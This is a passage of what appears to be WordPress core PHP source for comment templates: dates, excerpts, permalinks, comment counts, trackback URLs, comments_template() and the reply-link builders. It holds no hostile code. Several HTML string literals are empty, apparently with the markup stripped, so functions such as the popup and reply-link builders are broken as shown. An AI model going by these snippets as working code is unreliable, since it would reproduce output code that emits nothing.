classes for the current comment. * * @since 2.7.0 * * @param string[] $classes An array of comment classes. * @param string[] $class An array of additional classes added to the list. * @param int $comment_id The comment ID. * @param WP_Comment $comment The comment object. * @param int|WP_Post $post_id The post ID or WP_Post object. */ return apply_filters( 'comment_class', $classes, $class, $comment->comment_ID, $comment, $post_id ); } /** * Retrieves the comment date of the current comment. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param string $format Optional. PHP date format. Defaults to the 'date_format' option. * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to get the date. * Default current comment. * @return string The comment's date. */ function get_comment_date( $format = '', $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $_format = ! empty( $format ) ? $format : get_option( 'date_format' ); $date = mysql2date( $_format, $comment->comment_date ); /** * Filters the returned comment date. * * @since 1.5.0 * * @param string|int $date Formatted date string or Unix timestamp. * @param string $format PHP date format. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_date', $date, $format, $comment ); } /** * Displays the comment date of the current comment. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param string $format Optional. PHP date format. Defaults to the 'date_format' option. * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to print the date. * Default current comment. */ function comment_date( $format = '', $comment_ID = 0 ) { echo get_comment_date( $format, $comment_ID ); } /** * Retrieves the excerpt of the given comment. * * Returns a maximum of 20 words with an ellipsis appended if necessary. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to get the excerpt. * Default current comment. * @return string The possibly truncated comment excerpt. */ function get_comment_excerpt( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); if ( ! post_password_required( $comment->comment_post_ID ) ) { $comment_text = strip_tags( str_replace( array( "\n", "\r" ), ' ', $comment->comment_content ) ); } else { $comment_text = __( 'Password protected' ); } /* translators: Maximum number of words used in a comment excerpt. */ $comment_excerpt_length = (int) _x( '20', 'comment_excerpt_length' ); /** * Filters the maximum number of words used in the comment excerpt. * * @since 4.4.0 * * @param int $comment_excerpt_length The amount of words you want to display in the comment excerpt. */ $comment_excerpt_length = apply_filters( 'comment_excerpt_length', $comment_excerpt_length ); $excerpt = wp_trim_words( $comment_text, $comment_excerpt_length, '…' ); /** * Filters the retrieved comment excerpt. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added. * * @param string $excerpt The comment excerpt text. * @param int $comment_ID The comment ID. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_excerpt', $excerpt, $comment->comment_ID, $comment ); } /** * Displays the excerpt of the current comment. * * @since 1.2.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to print the excerpt. * Default current comment. */ function comment_excerpt( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $comment_excerpt = get_comment_excerpt( $comment ); /** * Filters the comment excerpt for display. * * @since 1.2.0 * @since 4.1.0 The `$comment_ID` parameter was added. * * @param string $comment_excerpt The comment excerpt text. * @param int $comment_ID The comment ID. */ echo apply_filters( 'comment_excerpt', $comment_excerpt, $comment->comment_ID ); } /** * Retrieves the comment ID of the current comment. * * @since 1.5.0 * * @return int The comment ID. */ function get_comment_ID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid $comment = get_comment(); /** * Filters the returned comment ID. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` parameter was added. * * @param int $comment_ID The current comment ID. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_ID', $comment->comment_ID, $comment ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase } /** * Displays the comment ID of the current comment. * * @since 0.71 */ function comment_ID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid echo get_comment_ID(); } /** * Retrieves the link to a given comment. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object. Added `$cpage` argument. * * @see get_page_of_comment() * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global bool $in_comment_loop * * @param WP_Comment|int|null $comment Comment to retrieve. Default current comment. * @param array $args { * An array of optional arguments to override the defaults. * * @type string $type Passed to get_page_of_comment(). * @type int $page Current page of comments, for calculating comment pagination. * @type int $per_page Per-page value for comment pagination. * @type int $max_depth Passed to get_page_of_comment(). * @type int|string $cpage Value to use for the comment's "comment-page" or "cpage" value. * If provided, this value overrides any value calculated from `$page` * and `$per_page`. * } * @return string The permalink to the given comment. */ function get_comment_link( $comment = null, $args = array() ) { global $wp_rewrite, $in_comment_loop; $comment = get_comment( $comment ); // Back-compat. if ( ! is_array( $args ) ) { $args = array( 'page' => $args ); } $defaults = array( 'type' => 'all', 'page' => '', 'per_page' => '', 'max_depth' => '', 'cpage' => null, ); $args = wp_parse_args( $args, $defaults ); $link = get_permalink( $comment->comment_post_ID ); // The 'cpage' param takes precedence. if ( ! is_null( $args['cpage'] ) ) { $cpage = $args['cpage']; // No 'cpage' is provided, so we calculate one. } else { if ( '' === $args['per_page'] && get_option( 'page_comments' ) ) { $args['per_page'] = get_option( 'comments_per_page' ); } if ( empty( $args['per_page'] ) ) { $args['per_page'] = 0; $args['page'] = 0; } $cpage = $args['page']; if ( '' == $cpage ) { if ( ! empty( $in_comment_loop ) ) { $cpage = get_query_var( 'cpage' ); } else { // Requires a database hit, so we only do it when we can't figure out from context. $cpage = get_page_of_comment( $comment->comment_ID, $args ); } } /* * If the default page displays the oldest comments, the permalinks for comments on the default page * do not need a 'cpage' query var. */ if ( 'oldest' === get_option( 'default_comments_page' ) && 1 === $cpage ) { $cpage = ''; } } if ( $cpage && get_option( 'page_comments' ) ) { if ( $wp_rewrite->using_permalinks() ) { if ( $cpage ) { $link = trailingslashit( $link ) . $wp_rewrite->comments_pagination_base . '-' . $cpage; } $link = user_trailingslashit( $link, 'comment' ); } elseif ( $cpage ) { $link = add_query_arg( 'cpage', $cpage, $link ); } } if ( $wp_rewrite->using_permalinks() ) { $link = user_trailingslashit( $link, 'comment' ); } $link = $link . '#comment-' . $comment->comment_ID; /** * Filters the returned single comment permalink. * * @since 2.8.0 * @since 4.4.0 Added the `$cpage` parameter. * * @see get_page_of_comment() * * @param string $link The comment permalink with '#comment-$id' appended. * @param WP_Comment $comment The current comment object. * @param array $args An array of arguments to override the defaults. * @param int $cpage The calculated 'cpage' value. */ return apply_filters( 'get_comment_link', $link, $comment, $args, $cpage ); } /** * Retrieves the link to the current post comments. * * @since 1.5.0 * * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post. * @return string The link to the comments. */ function get_comments_link( $post_id = 0 ) { $hash = get_comments_number( $post_id ) ? '#comments' : '#respond'; $comments_link = get_permalink( $post_id ) . $hash; /** * Filters the returned post comments permalink. * * @since 3.6.0 * * @param string $comments_link Post comments permalink with '#comments' appended. * @param int|WP_Post $post_id Post ID or WP_Post object. */ return apply_filters( 'get_comments_link', $comments_link, $post_id ); } /** * Displays the link to the current post comments. * * @since 0.71 * * @param string $deprecated Not Used. * @param string $deprecated_2 Not Used. */ function comments_link( $deprecated = '', $deprecated_2 = '' ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '0.72' ); } if ( ! empty( $deprecated_2 ) ) { _deprecated_argument( __FUNCTION__, '1.3.0' ); } echo esc_url( get_comments_link() ); } /** * Retrieves the amount of comments a post has. * * @since 1.5.0 * * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is the global `$post`. * @return string|int If the post exists, a numeric string representing the number of comments * the post has, otherwise 0. */ function get_comments_number( $post_id = 0 ) { $post = get_post( $post_id ); if ( ! $post ) { $count = 0; } else { $count = $post->comment_count; $post_id = $post->ID; } /** * Filters the returned comment count for a post. * * @since 1.5.0 * * @param string|int $count A string representing the number of comments a post has, otherwise 0. * @param int $post_id Post ID. */ return apply_filters( 'get_comments_number', $count, $post_id ); } /** * Displays the language string for the number of comments the current post has. * * @since 0.71 * @since 5.4.0 The `$deprecated` parameter was changed to `$post_id`. * * @param string|false $zero Optional. Text for no comments. Default false. * @param string|false $one Optional. Text for one comment. Default false. * @param string|false $more Optional. Text for more than one comment. Default false. * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is the global `$post`. */ function comments_number( $zero = false, $one = false, $more = false, $post_id = 0 ) { echo get_comments_number_text( $zero, $one, $more, $post_id ); } /** * Displays the language string for the number of comments the current post has. * * @since 4.0.0 * @since 5.4.0 Added the `$post_id` parameter to allow using the function outside of the loop. * * @param string $zero Optional. Text for no comments. Default false. * @param string $one Optional. Text for one comment. Default false. * @param string $more Optional. Text for more than one comment. Default false. * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is the global `$post`. * @return string Language string for the number of comments a post has. */ function get_comments_number_text( $zero = false, $one = false, $more = false, $post_id = 0 ) { $number = get_comments_number( $post_id ); if ( $number > 1 ) { if ( false === $more ) { /* translators: %s: Number of comments. */ $output = sprintf( _n( '%s Comment', '%s Comments', $number ), number_format_i18n( $number ) ); } else { // % Comments /* * translators: If comment number in your language requires declension, * translate this to 'on'. Do not translate into your own language. */ if ( 'on' === _x( 'off', 'Comment number declension: on or off' ) ) { $text = preg_replace( '#.+?#', '', $more ); $text = preg_replace( '/&.+?;/', '', $text ); // Kill entities. $text = trim( strip_tags( $text ), '% ' ); // Replace '% Comments' with a proper plural form. if ( $text && ! preg_match( '/[0-9]+/', $text ) && false !== strpos( $more, '%' ) ) { /* translators: %s: Number of comments. */ $new_text = _n( '%s Comment', '%s Comments', $number ); $new_text = trim( sprintf( $new_text, '' ) ); $more = str_replace( $text, $new_text, $more ); if ( false === strpos( $more, '%' ) ) { $more = '% ' . $more; } } } $output = str_replace( '%', number_format_i18n( $number ), $more ); } } elseif ( 0 == $number ) { $output = ( false === $zero ) ? __( 'No Comments' ) : $zero; } else { // Must be one. $output = ( false === $one ) ? __( '1 Comment' ) : $one; } /** * Filters the comments count for display. * * @since 1.5.0 * * @see _n() * * @param string $output A translatable string formatted based on whether the count * is equal to 0, 1, or 1+. * @param int $number The number of post comments. */ return apply_filters( 'comments_number', $output, $number ); } /** * Retrieves the text of the current comment. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * @since 5.4.0 Added 'In reply to %s.' prefix to child comments in comments feed. * * @see Walker_Comment::comment() * * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to get the text. * Default current comment. * @param array $args Optional. An array of arguments. Default empty array. * @return string The comment content. */ function get_comment_text( $comment_ID = 0, $args = array() ) { $comment = get_comment( $comment_ID ); $comment_content = $comment->comment_content; if ( is_comment_feed() && $comment->comment_parent ) { $parent = get_comment( $comment->comment_parent ); if ( $parent ) { $parent_link = esc_url( get_comment_link( $parent ) ); $name = get_comment_author( $parent ); $comment_content = sprintf( /* translators: %s: Comment link. */ ent2ncr( __( 'In reply to %s.' ) ), '' . $name . '' ) . "\n\n" . $comment_content; } } /** * Filters the text of a comment. * * @since 1.5.0 * * @see Walker_Comment::comment() * * @param string $comment_content Text of the comment. * @param WP_Comment $comment The comment object. * @param array $args An array of arguments. */ return apply_filters( 'get_comment_text', $comment_content, $comment, $args ); } /** * Displays the text of the current comment. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @see Walker_Comment::comment() * * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to print the text. * Default current comment. * @param array $args Optional. An array of arguments. Default empty array. */ function comment_text( $comment_ID = 0, $args = array() ) { $comment = get_comment( $comment_ID ); $comment_text = get_comment_text( $comment, $args ); /** * Filters the text of a comment to be displayed. * * @since 1.2.0 * * @see Walker_Comment::comment() * * @param string $comment_text Text of the current comment. * @param WP_Comment|null $comment The comment object. Null if not found. * @param array $args An array of arguments. */ echo apply_filters( 'comment_text', $comment_text, $comment, $args ); } /** * Retrieves the comment time of the current comment. * * @since 1.5.0 * * @param string $format Optional. PHP time format. Defaults to the 'time_format' option. * @param bool $gmt Optional. Whether to use the GMT date. Default false. * @param bool $translate Optional. Whether to translate the time (for use in feeds). * Default true. * @return string The formatted time. */ function get_comment_time( $format = '', $gmt = false, $translate = true ) { $comment = get_comment(); $comment_date = $gmt ? $comment->comment_date_gmt : $comment->comment_date; $_format = ! empty( $format ) ? $format : get_option( 'time_format' ); $date = mysql2date( $_format, $comment_date, $translate ); /** * Filters the returned comment time. * * @since 1.5.0 * * @param string|int $date The comment time, formatted as a date string or Unix timestamp. * @param string $format PHP date format. * @param bool $gmt Whether the GMT date is in use. * @param bool $translate Whether the time is translated. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_time', $date, $format, $gmt, $translate, $comment ); } /** * Displays the comment time of the current comment. * * @since 0.71 * * @param string $format Optional. PHP time format. Defaults to the 'time_format' option. */ function comment_time( $format = '' ) { echo get_comment_time( $format ); } /** * Retrieves the comment type of the current comment. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or ID of the comment for which to get the type. * Default current comment. * @return string The comment type. */ function get_comment_type( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); if ( '' === $comment->comment_type ) { $comment->comment_type = 'comment'; } /** * Filters the returned comment type. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added. * * @param string $comment_type The type of comment, such as 'comment', 'pingback', or 'trackback'. * @param int $comment_ID The comment ID. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_type', $comment->comment_type, $comment->comment_ID, $comment ); } /** * Displays the comment type of the current comment. * * @since 0.71 * * @param string|false $commenttxt Optional. String to display for comment type. Default false. * @param string|false $trackbacktxt Optional. String to display for trackback type. Default false. * @param string|false $pingbacktxt Optional. String to display for pingback type. Default false. */ function comment_type( $commenttxt = false, $trackbacktxt = false, $pingbacktxt = false ) { if ( false === $commenttxt ) { $commenttxt = _x( 'Comment', 'noun' ); } if ( false === $trackbacktxt ) { $trackbacktxt = __( 'Trackback' ); } if ( false === $pingbacktxt ) { $pingbacktxt = __( 'Pingback' ); } $type = get_comment_type(); switch ( $type ) { case 'trackback': echo $trackbacktxt; break; case 'pingback': echo $pingbacktxt; break; default: echo $commenttxt; } } /** * Retrieves the current post's trackback URL. * * There is a check to see if permalink's have been enabled and if so, will * retrieve the pretty path. If permalinks weren't enabled, the ID of the * current post is used and appended to the correct page to go to. * * @since 1.5.0 * * @return string The trackback URL after being filtered. */ function get_trackback_url() { if ( get_option( 'permalink_structure' ) ) { $tb_url = trailingslashit( get_permalink() ) . user_trailingslashit( 'trackback', 'single_trackback' ); } else { $tb_url = get_option( 'siteurl' ) . '/wp-trackback.php?p=' . get_the_ID(); } /** * Filters the returned trackback URL. * * @since 2.2.0 * * @param string $tb_url The trackback URL. */ return apply_filters( 'trackback_url', $tb_url ); } /** * Displays the current post's trackback URL. * * @since 0.71 * * @param bool $deprecated_echo Not used. * @return void|string Should only be used to echo the trackback URL, use get_trackback_url() * for the result instead. */ function trackback_url( $deprecated_echo = true ) { if ( true !== $deprecated_echo ) { _deprecated_argument( __FUNCTION__, '2.5.0', sprintf( /* translators: %s: get_trackback_url() */ __( 'Use %s instead if you do not want the value echoed.' ), 'get_trackback_url()' ) ); } if ( $deprecated_echo ) { echo get_trackback_url(); } else { return get_trackback_url(); } } /** * Generates and displays the RDF for the trackback information of current post. * * Deprecated in 3.0.0, and restored in 3.0.1. * * @since 0.71 * * @param int|string $deprecated Not used (Was $timezone = 0). */ function trackback_rdf( $deprecated = '' ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.5.0' ); } if ( isset( $_SERVER['HTTP_USER_AGENT'] ) && false !== stripos( $_SERVER['HTTP_USER_AGENT'], 'W3C_Validator' ) ) { return; } echo ' \n"; echo ''; } /** * Determines whether the current post is open for comments. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.0 * * @param int|WP_Post $post_id Post ID or WP_Post object. Default current post. * @return bool True if the comments are open. */ function comments_open( $post_id = null ) { $_post = get_post( $post_id ); $post_id = $_post ? $_post->ID : 0; $open = ( 'open' === $_post->comment_status ); /** * Filters whether the current post is open for comments. * * @since 2.5.0 * * @param bool $open Whether the current post is open for comments. * @param int $post_id The post ID. */ return apply_filters( 'comments_open', $open, $post_id ); } /** * Determines whether the current post is open for pings. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.0 * * @param int|WP_Post $post_id Post ID or WP_Post object. Default current post. * @return bool True if pings are accepted */ function pings_open( $post_id = null ) { $_post = get_post( $post_id ); $post_id = $_post ? $_post->ID : 0; $open = ( 'open' === $_post->ping_status ); /** * Filters whether the current post is open for pings. * * @since 2.5.0 * * @param bool $open Whether the current post is open for pings. * @param int $post_id The post ID. */ return apply_filters( 'pings_open', $open, $post_id ); } /** * Displays form token for unfiltered comments. * * Will only display nonce token if the current user has permissions for * unfiltered html. Won't display the token for other users. * * The function was backported to 2.0.10 and was added to versions 2.1.3 and * above. Does not exist in versions prior to 2.0.10 in the 2.0 branch and in * the 2.1 branch, prior to 2.1.3. Technically added in 2.2.0. * * Backported to 2.0.10. * * @since 2.1.3 */ function wp_comment_form_unfiltered_html_nonce() { $post = get_post(); $post_id = $post ? $post->ID : 0; if ( current_user_can( 'unfiltered_html' ) ) { wp_nonce_field( 'unfiltered-html-comment_' . $post_id, '_wp_unfiltered_html_comment_disabled', false ); echo "\n"; } } /** * Loads the comment template specified in $file. * * Will not display the comments template if not on single post or page, or if * the post does not have comments. * * Uses the WordPress database object to query for the comments. The comments * are passed through the {@see 'comments_array'} filter hook with the list of comments * and the post ID respectively. * * The `$file` path is passed through a filter hook called {@see 'comments_template'}, * which includes the TEMPLATEPATH and $file combined. Tries the $filtered path * first and if it fails it will require the default comment template from the * default theme. If either does not exist, then the WordPress process will be * halted. It is advised for that reason, that the default theme is not deleted. * * Will not try to get the comments if the post has none. * * @since 1.5.0 * * @global WP_Query $wp_query WordPress Query object. * @global WP_Post $post Global post object. * @global wpdb $wpdb WordPress database abstraction object. * @global int $id * @global WP_Comment $comment Global comment object. * @global string $user_login * @global string $user_identity * @global bool $overridden_cpage * @global bool $withcomments * * @param string $file Optional. The file to load. Default '/comments.php'. * @param bool $separate_comments Optional. Whether to separate the comments by comment type. * Default false. */ function comments_template( $file = '/comments.php', $separate_comments = false ) { global $wp_query, $withcomments, $post, $wpdb, $id, $comment, $user_login, $user_identity, $overridden_cpage; if ( ! ( is_single() || is_page() || $withcomments ) || empty( $post ) ) { return; } if ( empty( $file ) ) { $file = '/comments.php'; } $req = get_option( 'require_name_email' ); /* * Comment author information fetched from the comment cookies. */ $commenter = wp_get_current_commenter(); /* * The name of the current comment author escaped for use in attributes. * Escaped by sanitize_comment_cookies(). */ $comment_author = $commenter['comment_author']; /* * The email address of the current comment author escaped for use in attributes. * Escaped by sanitize_comment_cookies(). */ $comment_author_email = $commenter['comment_author_email']; /* * The URL of the current comment author escaped for use in attributes. */ $comment_author_url = esc_url( $commenter['comment_author_url'] ); $comment_args = array( 'orderby' => 'comment_date_gmt', 'order' => 'ASC', 'status' => 'approve', 'post_id' => $post->ID, 'no_found_rows' => false, 'update_comment_meta_cache' => false, // We lazy-load comment meta for performance. ); if ( get_option( 'thread_comments' ) ) { $comment_args['hierarchical'] = 'threaded'; } else { $comment_args['hierarchical'] = false; } if ( is_user_logged_in() ) { $comment_args['include_unapproved'] = array( get_current_user_id() ); } else { $unapproved_email = wp_get_unapproved_comment_author_email(); if ( $unapproved_email ) { $comment_args['include_unapproved'] = array( $unapproved_email ); } } $per_page = 0; if ( get_option( 'page_comments' ) ) { $per_page = (int) get_query_var( 'comments_per_page' ); if ( 0 === $per_page ) { $per_page = (int) get_option( 'comments_per_page' ); } $comment_args['number'] = $per_page; $page = (int) get_query_var( 'cpage' ); if ( $page ) { $comment_args['offset'] = ( $page - 1 ) * $per_page; } elseif ( 'oldest' === get_option( 'default_comments_page' ) ) { $comment_args['offset'] = 0; } else { // If fetching the first page of 'newest', we need a top-level comment count. $top_level_query = new WP_Comment_Query(); $top_level_args = array( 'count' => true, 'orderby' => false, 'post_id' => $post->ID, 'status' => 'approve', ); if ( $comment_args['hierarchical'] ) { $top_level_args['parent'] = 0; } if ( isset( $comment_args['include_unapproved'] ) ) { $top_level_args['include_unapproved'] = $comment_args['include_unapproved']; } /** * Filters the arguments used in the top level comments query. * * @since 5.6.0 * * @see WP_Comment_Query::__construct() * * @param array $top_level_args { * The top level query arguments for the comments template. * * @type bool $count Whether to return a comment count. * @type string|array $orderby The field(s) to order by. * @type int $post_id The post ID. * @type string|array $status The comment status to limit results by. * } */ $top_level_args = apply_filters( 'comments_template_top_level_query_args', $top_level_args ); $top_level_count = $top_level_query->query( $top_level_args ); $comment_args['offset'] = ( ceil( $top_level_count / $per_page ) - 1 ) * $per_page; } } /** * Filters the arguments used to query comments in comments_template(). * * @since 4.5.0 * * @see WP_Comment_Query::__construct() * * @param array $comment_args { * Array of WP_Comment_Query arguments. * * @type string|array $orderby Field(s) to order by. * @type string $order Order of results. Accepts 'ASC' or 'DESC'. * @type string $status Comment status. * @type array $include_unapproved Array of IDs or email addresses whose unapproved comments * will be included in results. * @type int $post_id ID of the post. * @type bool $no_found_rows Whether to refrain from querying for found rows. * @type bool $update_comment_meta_cache Whether to prime cache for comment meta. * @type bool|string $hierarchical Whether to query for comments hierarchically. * @type int $offset Comment offset. * @type int $number Number of comments to fetch. * } */ $comment_args = apply_filters( 'comments_template_query_args', $comment_args ); $comment_query = new WP_Comment_Query( $comment_args ); $_comments = $comment_query->comments; // Trees must be flattened before they're passed to the walker. if ( $comment_args['hierarchical'] ) { $comments_flat = array(); foreach ( $_comments as $_comment ) { $comments_flat[] = $_comment; $comment_children = $_comment->get_children( array( 'format' => 'flat', 'status' => $comment_args['status'], 'orderby' => $comment_args['orderby'], ) ); foreach ( $comment_children as $comment_child ) { $comments_flat[] = $comment_child; } } } else { $comments_flat = $_comments; } /** * Filters the comments array. * * @since 2.1.0 * * @param array $comments Array of comments supplied to the comments template. * @param int $post_ID Post ID. */ $wp_query->comments = apply_filters( 'comments_array', $comments_flat, $post->ID ); $comments = &$wp_query->comments; $wp_query->comment_count = count( $wp_query->comments ); $wp_query->max_num_comment_pages = $comment_query->max_num_pages; if ( $separate_comments ) { $wp_query->comments_by_type = separate_comments( $comments ); $comments_by_type = &$wp_query->comments_by_type; } else { $wp_query->comments_by_type = array(); } $overridden_cpage = false; if ( '' == get_query_var( 'cpage' ) && $wp_query->max_num_comment_pages > 1 ) { set_query_var( 'cpage', 'newest' === get_option( 'default_comments_page' ) ? get_comment_pages_count() : 1 ); $overridden_cpage = true; } if ( ! defined( 'COMMENTS_TEMPLATE' ) ) { define( 'COMMENTS_TEMPLATE', true ); } $theme_template = STYLESHEETPATH . $file; /** * Filters the path to the theme template file used for the comments template. * * @since 1.5.1 * * @param string $theme_template The path to the theme template file. */ $include = apply_filters( 'comments_template', $theme_template ); if ( file_exists( $include ) ) { require $include; } elseif ( file_exists( TEMPLATEPATH . $file ) ) { require TEMPLATEPATH . $file; } else { // Backward compat code will be removed in a future release. require ABSPATH . WPINC . '/theme-compat/comments.php'; } } /** * Displays the link to the comments for the current post ID. * * @since 0.71 * * @param false|string $zero Optional. String to display when no comments. Default false. * @param false|string $one Optional. String to display when only one comment is available. Default false. * @param false|string $more Optional. String to display when there are more than one comment. Default false. * @param string $css_class Optional. CSS class to use for comments. Default empty. * @param false|string $none Optional. String to display when comments have been turned off. Default false. */ function comments_popup_link( $zero = false, $one = false, $more = false, $css_class = '', $none = false ) { $post_id = get_the_ID(); $post_title = get_the_title(); $number = get_comments_number( $post_id ); if ( false === $zero ) { /* translators: %s: Post title. */ $zero = sprintf( __( 'No Comments on %s' ), $post_title ); } if ( false === $one ) { /* translators: %s: Post title. */ $one = sprintf( __( '1 Comment on %s' ), $post_title ); } if ( false === $more ) { /* translators: 1: Number of comments, 2: Post title. */ $more = _n( '%1$s Comment on %2$s', '%1$s Comments on %2$s', $number ); $more = sprintf( $more, number_format_i18n( $number ), $post_title ); } if ( false === $none ) { /* translators: %s: Post title. */ $none = sprintf( __( 'Comments Off on %s' ), $post_title ); } if ( 0 == $number && ! comments_open() && ! pings_open() ) { echo '' . $none . ''; return; } if ( post_password_required() ) { _e( 'Enter your password to view comments.' ); return; } echo ''; comments_number( $zero, $one, $more ); echo ''; } /** * Retrieves HTML content for reply to comment link. * * @since 2.7.0 * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object. * * @param array $args { * Optional. Override default arguments. * * @type string $add_below The first part of the selector used to identify the comment to respond below. * The resulting value is passed as the first parameter to addComment.moveForm(), * concatenated as $add_below-$comment->comment_ID. Default 'comment'. * @type string $respond_id The selector identifying the responding comment. Passed as the third parameter * to addComment.moveForm(), and appended to the link URL as a hash value. * Default 'respond'. * @type string $reply_text The text of the Reply link. Default 'Reply'. * @type string $login_text The text of the link to reply if logged out. Default 'Log in to Reply'. * @type int $max_depth The max depth of the comment tree. Default 0. * @type int $depth The depth of the new comment. Must be greater than 0 and less than the value * of the 'thread_comments_depth' option set in Settings > Discussion. Default 0. * @type string $before The text or HTML to add before the reply link. Default empty. * @type string $after The text or HTML to add after the reply link. Default empty. * } * @param int|WP_Comment $comment Comment being replied to. Default current comment. * @param int|WP_Post $post Post ID or WP_Post object the comment is going to be displayed on. * Default current post. * @return string|false|null Link to show comment form, if successful. False, if comments are closed. */ function get_comment_reply_link( $args = array(), $comment = null, $post = null ) { $defaults = array( 'add_below' => 'comment', 'respond_id' => 'respond', 'reply_text' => __( 'Reply' ), /* translators: Comment reply button text. %s: Comment author name. */ 'reply_to_text' => __( 'Reply to %s' ), 'login_text' => __( 'Log in to Reply' ), 'max_depth' => 0, 'depth' => 0, 'before' => '', 'after' => '', ); $args = wp_parse_args( $args, $defaults ); if ( 0 == $args['depth'] || $args['max_depth'] <= $args['depth'] ) { return; } $comment = get_comment( $comment ); if ( empty( $comment ) ) { return; } if ( empty( $post ) ) { $post = $comment->comment_post_ID; } $post = get_post( $post ); if ( ! comments_open( $post->ID ) ) { return false; } /** * Filters the comment reply link arguments. * * @since 4.1.0 * * @param array $args Comment reply link arguments. See get_comment_reply_link() * for more information on accepted arguments. * @param WP_Comment $comment The object of the comment being replied to. * @param WP_Post $post The WP_Post object. */ $args = apply_filters( 'comment_reply_link_args', $args, $comment, $post ); if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) { $link = sprintf( '', esc_url( wp_login_url( get_permalink() ) ), $args['login_text'] ); } else { $data_attributes = array( 'commentid' => $comment->comment_ID, 'postid' => $post->ID, 'belowelement' => $args['add_below'] . '-' . $comment->comment_ID, 'respondelement' => $args['respond_id'], 'replyto' => sprintf( $args['reply_to_text'], $comment->comment_author ), ); $data_attribute_string = ''; foreach ( $data_attributes as $name => $value ) { $data_attribute_string .= " data-${name}=\"" . esc_attr( $value ) . '"'; } $data_attribute_string = trim( $data_attribute_string ); $link = sprintf( "%s", esc_url( add_query_arg( array( 'replytocom' => $comment->comment_ID, 'unapproved' => false, 'moderation-hash' => false, ), get_permalink( $post->ID ) ) ) . '#' . $args['respond_id'], $data_attribute_string, esc_attr( sprintf( $args['reply_to_text'], $comment->comment_author ) ), $args['reply_text'] ); } /** * Filters the comment reply link. * * @since 2.7.0 * * @param string $link The HTML markup for the comment reply link. * @param array $args An array of arguments overriding the defaults. * @param WP_Comment $comment The object of the comment being replied. * @param WP_Post $post The WP_Post object. */ return apply_filters( 'comment_reply_link', $args['before'] . $link . $args['after'], $args, $comment, $post ); } /** * Displays the HTML content for reply to comment link. * * @since 2.7.0 * * @see get_comment_reply_link() * * @param array $args Optional. Override default options. Default empty array. * @param int|WP_Comment $comment Comment being replied to. Default current comment. * @param int|WP_Post $post Post ID or WP_Post object the comment is going to be displayed on. * Default current post. */ function comment_reply_link( $args = array(), $comment = null, $post = null ) { echo get_comment_reply_link( $args, $comment, $post ); } /** * Retrieves HTML content for reply to post link. * * @since 2.7.0 * * @param array $args { * Optional. Override default arguments. * * @type string $add_below The first part of the selector used to identify the comment to respond below. * The resulting value is passed as the first parameter to addComment.moveForm(), * concatenated as $add_below-$comment->comment_ID. Default is 'post'. * @type string $respond_id The selector identifying the responding comment. Passed as the third parameter * to addComment.moveForm(), and appended to the link URL as a hash value. * Default 'respond'. * @type string $reply_text Text of the Reply link. Default is 'Leave a Comment'. * @type string $login_text Text of the link to reply if logged out. Default is 'Log in to leave a Comment'. * @type string $before Text or HTML to add before the reply link. Default empty. * @type string $after Text or HTML to add after the reply link. Default empty. * } * @param int|WP_Post $post Optional. Post ID or WP_Post object the comment is going to be displayed on. * Default current post. * @return string|false|null Link to show comment form, if successful. False, if comments are closed. */ function get_post_reply_link( $args = array(), $post = null ) { $defaults = array( 'add_below' => 'post', 'respond_id' => 'respond', 'reply_text' => __( 'Leave a Comment' ), 'login_text' => __( 'Log in to leave a Comment' ), 'before' => '', 'after' => '', ); $args = wp_parse_args( $args, $defaults ); $post = get_post( $post ); if ( ! comments_open( $post->ID ) ) { return false; } if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) { $link = sprintf( '', wp_login_url( get_permalink() ), $args['login_text'] ); } else { $onclick = sprintf( 'return addComment.moveForm( "%1$s-%2$s", "0", "%3$s", "%2$s" 